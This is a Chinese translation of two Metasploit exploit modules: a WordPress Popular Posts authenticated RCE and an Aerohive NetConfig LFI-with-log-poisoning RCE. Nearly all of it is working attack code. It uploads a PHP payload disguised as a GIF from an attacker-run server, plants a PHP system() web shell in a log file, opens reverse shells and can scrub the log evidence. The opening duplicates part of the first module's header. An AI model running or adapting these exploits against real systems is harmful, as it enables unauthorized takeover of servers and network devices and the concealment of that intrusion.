### 此模块需要 Metasploit:https://metasploit.com/download# 当前源代码:https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ 此漏洞利用需要 Metasploit 具有 FQDN,并且能够在端口 80、443 或 8080 上运行载荷 Web 服务器。 FQDN 还必须不解析到保留地址(192/172/127/10)。服务器还必须在收到 GET 请求之前响应载荷的 HEAD 请求。 此漏洞利用利用了 WordPress 插件 Popular Posts <= 5.3.2 中经过身份验证的不当输入验证。 漏洞利用链相当复杂。需要身份验证,并且服务器上需要 PHP 的 'gd' 扩展。 然后重新配置 Popular Post 插件,以允许在 widget 中为帖子图像使用任意 URL。 发布帖子,然后向帖子发送请求,使其比之前的 #1 热门 5 次。一旦 帖子进入前 5 名,并且在 60 秒(我们等待 90 秒)服务器缓存刷新后,主页 widget 被加载, 这会触发插件从我们的服务器下载载荷。我们的载荷具有 'GIF' 头,并且是 双扩展名('.gif.php'),允许执行任意 PHP 代码。 }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf 模块 'Simone Cristofaro', # edb 'Jerome Bruandet' # 原始分析 ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wo
class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking
prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress
def initialize(info = {}) super( update_info( info, 'Name' => 'WordPress Popular Posts 插件认证远程代码执行', 'Description' => %q{ 此漏洞利用要求 Metasploit 拥有一个 FQDN,并且能够运行端口 80、443 或 8080 上的有效载荷 Web 服务器。 FQDN 还必须不能解析为保留地址(192/172/127/10)。 服务器还必须在收到 GET 请求之前响应 HEAD 请求 以获取有效载荷。 此漏洞利用在 WordPress 插件 Popular Posts <= 5.3.2 中利用了一个认证后的不当输入验证。 利用链相当复杂。 需要认证,并且服务器上需要安装 PHP 的 'gd' 扩展。 然后重新配置 Popular Posts 插件,允许在 Widget 中使用任意 URL 作为帖子图片。 创建一个帖子,然后向该帖子发送请求,使其比之前的 #1 帖子多 5 次。一旦 帖子进入前 5 名,并且在 60 秒(我们等待 90 秒)的服务器缓存刷新后,主页 Widget 被加载, 这将触发插件从我们的服务器下载有效载荷。 我们的有效载荷具有 'GIF' 头部,以及一个 双扩展名('.gif.php'),允许执行任意 PHP 代码。 }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf 模块 'Simone Cristofaro', # edb 'Jerome Bruandet' # 原始分析 ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/' ], [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ], [ 'URL', '' ], [ 'URL', '' ], [ 'CVE', '2021-42362' ] ], 'Platform' => ['php'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ '自动目标', {}] ], 'DisclosureDate' => '2021-06-11', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'WfsDelay' => 3000 # 50 分钟,其他访问站点的访问者可能触发 }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, '用户账户的用户名', 'admin']), OptString.new('PASSWORD', [true, '用户账户的密码', 'admin']), OptString.new('TARGETURI', [true, 'WordPress 服务器的基本路径', '/']), # OptString.new('SRVHOSTNAME', [true, 'Metasploit 服务器的 FQDN。不能解析为保留地址(192/10/127/172)', '']), # OptEnum.new('SRVPORT', [true, '要监听的本地端口。', 'login', ['80', '443', '8080']]), ] end
def check return CheckCode::Safe('未检测到 WordPress。') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3') if checkcode == CheckCode::Safe print_error('Popular Posts 不是易受攻击的版本') end return checkcode end
def trigger_payload(on_disk_payload_name) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) # 循环 5 次,以防服务器写入文件时存在时间延迟 (1..5).each do |i| print_status("触发 Shell 位于:#{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)},10 秒后。尝试第 #{i} 次(共 5 次)") Rex.sleep(10) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name), 'keep_cookies' => 'true' ) end if res && res.code == 404 print_error('未找到有效载荷,可能未正确上传。') end end
def on_request_uri(cli, request, payload_name, post_id) if request.method == 'HEAD' print_good('响应初始 HEAD 请求(通过检查 1)') # 根据 https://stackoverflow.com/questions/3854842/content-length-header-with-head-requests 我们应该有一个有效的 Content-Length # 但它是动态计算的,因为这个响应被覆盖为 0。此处留作注释。 # 另外不想在正文中发送真实的有效载荷来使大小正确,因为那样会增加被捕获的机会 return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s }) end if request.method == 'GET' on_disk_payload_name = "#{post_id}_#{payload_name}" register_file_for_cleanup(on_disk_payload_name) print_good('响应 GET 请求(通过检查 2)') send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif') close_client(cli) # 出于某种奇怪原因,我们需要手动关闭连接,以便 PHP/WP 完成其功能 Rex.sleep(2) # 等待 WP 完成所有需要的检查 trigger_payload(on_disk_payload_name) end print_status("收到意外的 #{request.method} 请求") end
def check_gd_installed(cookie) vprint_status('检查是否安装了 gd') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' } ) fail_with(Failure::Unreachable, '站点无响应') unless res fail_with(Failure::UnexpectedReply, '无法检索页面') unless res.code == 200 res.body.include? ' gd' end
def get_wpp_admin_token(cookie) vprint_status('检索 wpp_admin 令牌') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'tools' } ) fail_with(Failure::Unreachable, '站点无响应') unless res fail_with(Failure::UnexpectedReply, '无法检索页面') unless res.code == 200 /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"]*)/ =~ res.body Regexp.last_match(1) end
def change_settings(cookie, token) vprint_status('更新热门帖子设置(图片)') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'upload_thumb_src' => '', 'thumb_source' => 'custom_field', 'thumb_lazy_load' => 0, 'thumb_field' => 'wpp_thumbnail', 'thumb_field_resize' => 1, 'section' => 'thumb', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, '站点无响应') unless res fail_with(Failure::UnexpectedReply, '无法检索页面') unless res.code == 200 fail_with(Failure::UnexpectedReply, '无法保存/更改设置') unless /<strong>设置已保存/ =~ res.body end
def clear_cache(cookie, token) vprint_status('清除图片缓存') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'action' => 'wpp_clear_thumbnail', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, '站点无响应') unless res fail_with(Failure::UnexpectedReply, '无法检索页面') unless res.code == 200 end
def enable_custom_fields(cookie, custom_nonce, post) # 这将启用 ajax_nonce,它还会将我们重定向回 referer 页面,以便我们可以获取它。 res = send_request_cgi!( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post.php'), 'cookie' => cookie, 'keep_cookies' => 'true', 'method' => 'POST', 'vars_post' => { 'toggle-custom-fields-nonce' => custom_nonce, '_wp_http_referer' => "#{normalize_uri(target_uri.path, 'wp-admin', 'post.php')}?post=#{post}&action=edit", 'action' => 'toggle-custom-fields' } ) /name="_ajax_nonce-add-meta" value="([^"]*)/ =~ res.body Regexp.last_match(1) end
def create_post(cookie) vprint_status('创建新帖子') # 获取帖子 ID 和 nonce res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'), 'cookie' => cookie, 'keep_cookies' => 'true' ) fail_with(Failure::Unreachable, '站点无响应') unless res fail_with(Failure::UnexpectedReply, '无法检索页面') unless res.code == 200 /name="_ajax_nonce-add-meta" value="(?<ajax_nonce>[^"])/ =~ res.body /wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware( "(?<wp_nonce>[^"])/ =~ res.body /},"post":{"id":(?<post_id>\d*)/ =~ res.body if ajax_nonce.nil? print_error('缺少 ajax nonce 字段,尝试重新启用。如果失败,您可能需要更改界面以启用此功能。请参阅 https://www.hostpapa.com/knowledgebase/add-custom-meta-boxes-wordpress-posts/。或者(编写帖子时)检查选项 > 首选项 > 面板 > 其他 > 自定义字段。') /name="toggle-custom-fields-nonce" value="(?<custom_nonce>[^"]*)/ =~ res.body ajax_nonce = enable_custom_fields(cookie, custom_nonce, post_id) end unless ajax_nonce.nil? vprint_status("ajax nonce: #{ajax_nonce}") end unless wp_nonce.nil? vprint_status("wp nonce: #{wp_nonce}") end unless post_id.nil? vprint_status("已创建帖子:#{post_id}") end fail_with(Failure::UnexpectedReply, '无法获取 nonce 和/或新帖子 ID') unless ajax_nonce && wp_nonce && post_id # 发布新帖子 vprint_status("向帖子 #{post_id} 写入内容") # 这与 EDB POC 非常不同,我使用他们的示例一直收到主页 200 响应,因此这是基于 UI 提交的内容 res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'ctype' => 'application/json', 'accept' => 'application/json', 'vars_get' => { '_locale' => 'user', 'rest_route' => normalize_uri(target_uri.path, 'wp', 'v2', 'posts', post_id) }, 'data' => { 'id' => post_id, 'title' => Rex::Text.rand_text_alphanumeric(20..30), 'content' => "<!-- wp:paragraph -->\n<p>#{Rex::Text.rand_text_alphanumeric(100..200)}</p>\n<!-- /wp:paragraph -->", 'status' => 'publish' }.to_json, 'headers' => { 'X-WP-Nonce' => wp_nonce, 'X-HTTP-Method-Override' => 'PUT' } ) fail_with(Failure::Unreachable, '站点无响应') unless res fail_with(Failure::UnexpectedReply, '无法检索页面') unless res.code == 200 fail_with(Failure::UnexpectedReply, '帖子未能发布') unless res.body.include? '"status":"publish"' return post_id, ajax_nonce, wp_nonce end
def add_meta(cookie, post_id, ajax_nonce, payload_name) payload_url = "http://#{datastore['SRVHOSTNAME']}:#{datastore['SRVPORT']}/#{payload_name}" vprint_status("添加恶意元数据,重定向至 #{payload_url}") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_post' => { '_ajax_nonce' => 0, 'action' => 'add-meta', 'metakeyselect' => 'wpp_thumbnail', 'metakeyinput' => '', 'metavalue' => payload_url, '_ajax_nonce-add-meta' => ajax_nonce, 'post_id' => post_id } ) fail_with(Failure::Unreachable, '站点无响应') unless res fail_with(Failure::UnexpectedReply, '无法检索页面') unless res.code == 200 fail_with(Failure::UnexpectedReply, '无法更新元数据') unless res.body.include? "<tr id='meta-" end
def boost_post(cookie, post_id, wp_nonce, post_count) # 根据需要重定向 res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'keep_cookies' => 'true', 'cookie' => cookie, 'vars_get' => { 'page_id' => post_id } ) fail_with(Failure::Unreachable, '站点无响应') unless res fail_with(Failure::UnexpectedReply, '无法检索页面') unless res.code == 200 || res.code == 301 print_status("发送 #{post_count} 次浏览量至 #{res.headers['Location']}") location = res.headers['Location'].split('/')[3...-1].join('/') # http://example.com/<取此值>/<及之后的内容> (1..post_count).each do |_c| res = send_request_cgi!( 'uri' => "/#{location}", 'cookie' => cookie, 'keep_cookies' => 'true' ) # 只管发送,不在意响应 fail_with(Failure::Unreachable, '站点无响应') unless res fail_with(Failure::UnexpectedReply, '无法检索页面') unless res.code == 200 res = send_request_cgi( # 此 URL 与 EDB 上的 POC 不同,是根据浏览器行为建模的 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => { 'rest_route' => normalize_uri('wordpress-popular-posts', 'v1', 'popular-posts') }, 'keep_cookies' => 'true', 'method' => 'POST', 'cookie' => cookie, 'vars_post' => { '_wpnonce' => wp_nonce, 'wpp_id' => post_id, 'sampling' => 0, 'sampling_rate' => 100 } ) fail_with(Failure::Unreachable, '站点无响应') unless res fail_with(Failure::UnexpectedReply, '无法检索页面') unless res.code == 201 end fail_with(Failure::Unreachable, '站点无响应') unless res end
def get_top_posts print_status('确定浏览量最多的帖子') res = get_widget />(?<views>\d+) 浏览量</ =~ res.body views = views.to_i print_status("最高浏览量:#{views}") views += 5 # 使我们的帖子成为最热 unless datastore['VISTS'].nil? print_status("由于设置了 VISITS,覆盖帖子计数,从 #{views} 改为 #{datastore['VISITS']}") views = datastore['VISITS'] end views end
def get_widget # 加载主页以获取 Widget ID。有时我们似乎会命中 Widget 刷新时的状态,它不会响应, # 这会导致漏洞利用失败,所以在这种情况下我们继续尝试。 (1..10).each do || @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, '无法检索页面') unless @res.code == 200 /data-widget-id="wpp-(?<widget_id>\d+)/ =~ @res.body # 直接加载 Widget (1..10).each do || @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php', 'wp-json', 'wordpress-popular-posts', 'v1', 'popular-posts', 'widget', widget_id), 'keep_cookies' => 'true', 'vars_get' => { 'is_single' => 0 } ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, '无法检索页面') unless @res.code == 200 @res end
def exploit fail_with(Failure::BadConfig, '必须将 SRVHOST 设置为 IP 地址(0.0.0.0 无效)才能成功利用') if datastore['SRVHOST'] == '0.0.0.0' cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) if cookie.nil? vprint_error('登录失败,请检查凭据') return end payload_name = "#{Rex::Text.rand_text_alphanumeric(5..8)}.gif.php" vprint_status("有效载荷文件名:#{payload_name}") fail_with(Failure::NotVulnerable, '服务器未安装 gd,无法利用') unless check_gd_installed(cookie) post_count = get_top_posts # 不再需要传递 cookie,因为它已保存到 http client 中 token = get_wpp_admin_token(cookie) vprint_status("wpp_admin_token: #{token}") change_settings(cookie, token) clear_cache(cookie, token) post_id, ajax_nonce, wp_nonce = create_post(cookie) print_status('启动 Web 服务器以处理图片有效载荷的请求') start_service({ 'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req, payload_name, post_id) }, 'Path' => "/#{payload_name}" } }) add_meta(cookie, post_id, ajax_nonce, payload_name) boost_post(cookie, post_id, wp_nonce, post_count) print_status('等待 90 秒,由服务器进行缓存刷新') Rex.sleep(90) print_status('尝试通过访问主页并加载 Widget 来强制加载 Shell') res = get_widget print_good('我们成功进入前五!') if res.body.include? payload_name # if res.body.include? datastore['SRVHOSTNAME'] # fail_with(Failure::UnexpectedReply, "在页面内容中发现了 #{datastore['SRVHOSTNAME']}。有效载荷可能未复制到服务器。") # end # 此时,我们依赖 Web 服务器接收请求来完成后续操作 end end
class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {}) super( update_info( info, 'Name' => 'Aerohive NetConfig 10.0r8a LFI 与日志投毒实现远程代码执行', 'Description' => %q{ 此模块利用 Aerohive NetConfig 版本 10.0r8a build-242466 及更早版本中的本地文件包含(LFI)和日志投毒漏洞 (CVE-2020-16152),实现未经身份验证的远程代码执行,获得 root 用户权限。NetConfig 是 Aerohive/Extreme Networks HiveOS 的管理 Web 界面。易受攻击的版本容易受到 LFI 攻击,因为它们依赖于一个易受字符串截断攻击的 PHP 5 版本。 本模块将此问题与日志投毒相结合,以获得 root 级别的 RCE。 成功利用后,Aerohive NetConfig 应用程序在衍生的 Shell 保持打开状态期间将挂起。关闭 会话应使应用程序恢复响应。 该模块提供自动清理选项以清理日志。然而,此选项默认禁用,因为任何对 /tmp/messages 日志的修改, 即使通过 sed 进行,也可能使目标(暂时)无法被利用。这种状态可能持续超过一小时。 该模块已在 Aerohive NetConfig 版本 8.2r4 和 10.0r7a 上测试成功。 }, 'License' => MSF_LICENSE, 'Author' => [ 'Erik de Jong', # github.com/eriknl - 发现和概念验证 'Erik Wynter' # @wyntererik - Metasploit ], 'References' => [ ['CVE', '2020-16152'], # 仍归类为 RESERVED ['URL', 'https://github.com/eriknl/CVE-2020-16152'] # 分析和概念验证代码 ], 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 }, 'Platform' => %w[linux unix], 'Arch' => [ ARCH_ARMLE, ARCH_CMD ], 'Targets' => [ [ 'Linux', { 'Arch' => [ARCH_ARMLE], 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp', 'CMDSTAGER::FLAVOR' => 'curl' } } ], [ 'CMD', { 'Arch' => [ARCH_CMD], 'Platform' => 'unix', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' # 可能只有此有效载荷适用于此目标 } } ] ], 'Privileged' => true, 'DisclosureDate' => '2020-02-17', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('TARGETURI', [true, 'Aerohive NetConfig 的基本路径', '/']), OptBool.new('AUTO_CLEAN_LOG', [true, '生成 Shell 后自动清理 /tmp/messages 日志。警告!这可能会使目标无法被利用', false]), ] end
def auto_clean_log datastore['AUTO_CLEAN_LOG'] end
def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php5') }) unless res return CheckCode::Unknown('连接失败。') end unless res.code == 200 && res.body.include?('Aerohive NetConfig UI') return CheckCode::Safe('目标不是 Aerohive NetConfig 应用程序。') end version = res.body.scan(/action="login.php5?version=(.*?)"/)&.flatten&.first unless version return CheckCode::Detected('无法确定 Aerohive NetConfig 版本。') end begin if Rex::Version.new(version) <= Rex::Version.new('10.0r8a') return CheckCode::Appears("目标为 Aerohive NetConfig 版本 #{version}") else print_warning('需要注意的是,尚不清楚此问题何时(或是否)被修复,因此 10.0r8a 之后的版本可能仍然存在漏洞。') return CheckCode::Safe("目标为 Aerohive NetConfig 版本 #{version}") end rescue StandardError => e return CheckCode::Unknown("获取有效的 Aerohive NetConfig 版本失败: #{e}") end end
def poison_log password = rand_text_alphanumeric(8..12) @shell_cmd_name = rand_text_alphanumeric(3..6) @poison_cmd = "<?php system($_POST['#{@shell_cmd_name}']);?>" # 投毒 /tmp/messages print_status('尝试投毒日志 /tmp/messages...') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login.php5'), 'vars_post' => { 'login_auth' => 0, 'miniHiveUI' => 1, 'authselect' => 'Name/Password', 'userName' => @poison_cmd, 'password' => password } }) unless res fail_with(Failure::Disconnected, '尝试投毒日志 /tmp/messages 时连接失败') end unless res.code == 200 && res.body.include?('cmn/redirectLogin.php5?ERROR_TYPE=MQ==') fail_with(Failure::UnexpectedReply, '尝试投毒日志 /tmp/messages 时收到意外响应') end print_status('服务器按预期响应。继续...') end
def on_new_session(session)
log_cleaned = false
if auto_clean_log
print_status('尝试清理日志文件 /tmp/messages...')
print_warning('请注意,这将使目标(暂时)无法被利用。这种状态可能持续超过一小时。')
begin
# 我们需要从 /tmp/messages 中删除包含 PHP system 调用的行
# PHP syscall 中的特殊字符使得使用 sed 替换 PHP syscall 为常规用户名几乎不可能。
# 相反,让我们通过串联多个 grep 命令来避免特殊字符,确保找到正确的行,然后删除整行
# 使用 sed 编辑文件和使用 grep 创建新文件并覆盖 /tmp/messages 的影响相同:
# 在这两种情况下,应用程序很可能在一段时间内(可能超过一小时)停止写入 /tmp/messages,从而使目标在此期间无法被利用。
line_to_delete_file = "/tmp/#{rand_text_alphanumeric(5..10)}"
clean_messages_file = "/tmp/#{rand_text_alphanumeric(5..10)}"
cmds_to_clean_log = "grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system' > #{line_to_delete_file}; "
"grep -vFf #{line_to_delete_file} /tmp/messages > #{clean_messages_file}; mv #{clean_messages_file} /tmp/messages; rm -f #{line_to_delete_file}"
if session.type.to_s.eql? 'meterpreter'
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
session.sys.process.execute('/bin/sh', "-c "#{cmds_to_clean_log}"")
# 等待清理完成
Rex.sleep 5
# 检查 /tmp/messages 中是否还有 PHP system 调用
messages_contents = session.fs.file.open('/tmp/messages').read.to_s
# 此处使用 =~ 产生意外结果,因此使用 include?
unless messages_contents.include?(@poison_cmd)
log_cleaned = true
end
elsif session.type.to_s.eql?('shell')
session.shell_command_token(cmds_to_clean_log.to_s)
# 检查 /tmp/messages 中是否还有 PHP system 调用
poison_evidence = session.shell_command_token("grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system'")
# 此处使用 =~ 产生意外结果,因此使用 include?
unless poison_evidence.include?(@poison_cmd)
log_cleaned = true
end
end
rescue StandardError => e
print_error("清理期间出错: #{e.message}")
ensure
super
end
unless log_cleaned
print_warning("无法替换 /tmp/messages 中的 PHP system 调用 '#{@poison_cmd}'")
end
end
if log_cleaned
print_good('成功清理日志:从 /tmp/messages 中删除了包含 PHP syscall 的行。')
else
print_warning("清除日志投毒痕迹需要手动编辑/删除 /tmp/messages 中包含投毒命令的行:\n\t#{@poison_cmd}")
print_warning('请注意,对 /tmp/messages 的任何修改,即使通过 sed,也会使目标(暂时)无法被利用。这种状态可能持续超过一小时。')
print_warning('删除 /tmp/messages 或清空文件可能导致应用程序崩溃。')
end
end
def execute_command(cmd, _opts = {}) print_status('尝试执行有效载荷') send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'action.php5'), 'vars_get' => { '_action' => 'list', 'debug' => 'true' }, 'vars_post' => { '_page' => rand_text_alphanumeric(1) + '/..' * 8 + '/' * 4041 + '/tmp/messages', # 通过路径截断触发 LFI @shell_cmd_name => cmd } }, 0) print_warning('成功利用后,Aerohive NetConfig Web 应用程序在衍生的 Shell 保持打开状态期间将挂起。') end
def exploit poison_log if target.arch.first == ARCH_CMD print_status('执行有效载荷') execute_command(payload.encoded) else execute_cmdstager(background: true) end end end